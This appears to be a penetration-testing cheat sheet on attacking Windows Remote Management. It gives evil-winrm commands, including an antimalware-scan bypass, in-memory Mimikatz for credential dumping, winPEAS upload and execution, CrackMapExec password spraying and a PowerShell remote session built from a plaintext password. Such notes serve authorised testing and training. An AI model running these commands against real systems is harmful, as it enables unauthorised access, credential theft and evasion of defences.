# WinRM

## <mark style="color:yellow;">ABOUT</mark>

<mark style="color:red;">**Windows Remote Management (WinRM)**</mark> is a simple Windows integrated <mark style="color:purple;">**remote management protocol**</mark> <mark style="color:yellow;">**based on the command line**</mark>. WinRM uses the **Simple Object Access Protocol (SOAP)** to establish connections to remote hosts and their applications. WinRM relies on TCP ports `5985` and `5986` for communication, with the last port `5986` using HTTPS. Services like remote sessions using PowerShell and event log merging require WinRM.

## <mark style="color:yellow;">Evil-WinRM</mark>

```bash
evil-winrm -i 13.13.13.13 -u venator17 -p password123
```

> use `menu` to see evil-winrm's commands and loaded scripts

> Before loading any script or executable we will need to bypass Antimalware Scan Interface (AMSI). We can do it by using `Bypass-4MSI` command, which patches it.

### <mark style="color:blue;">Load Scripts</mark>

```powershell
evil-winrm -i 13.13.13.13 -u venator17 -p password123 -s /opt/scripts/powershell # -s is location of scripts
Bypass-4MSI # Bypassing AMSI
Invoke-Mimikatz.ps1 # Loading it into memoryu
Invoke-Mimikatz # Executing
```

### <mark style="color:blue;">Loading Executables</mark>

```powershell
evil-winrm -i 13.13.13.13 -u venator17 -p password123 -e /opt/executables # -e is location of executables
Invoke-Binary /opt/executables/winPEAS.exe
```

### <mark style="color:blue;">Loading Files</mark>

> You can upload files only from directory you executed evil-winrm

```powershell
upload /opt/executables/winPEAS.exe
./winPEAS.exe
```

## <mark style="color:yellow;">Nmap WinRM</mark>

```bash
nmap -sV -sC 13.13.13.13 -p5985,5986 --disable-arp-ping -n
```

## <mark style="color:yellow;">CrackMapExec</mark>

```bash
crackmapexec winrm 13.13.13.13 -u user.list -p password
```

## <mark style="color:yellow;">PowerShell</mark>

```powershell
PS C:\> $password = ConvertTo-SecureString "password123" -AsPlainText -Force
PS C:\> $cred = new-object System.Management.Automation.PSCredential ("MILITECH\sreed", $password)
PS C:\> Enter-PSSession -ComputerName MILITECH-MS13 -Credential $cred
```

## <mark style="color:yellow;">RESOURCES</mark>

{% embed url="<https://www.hackingarticles.in/a-detailed-guide-on-evil-winrm/>" %}
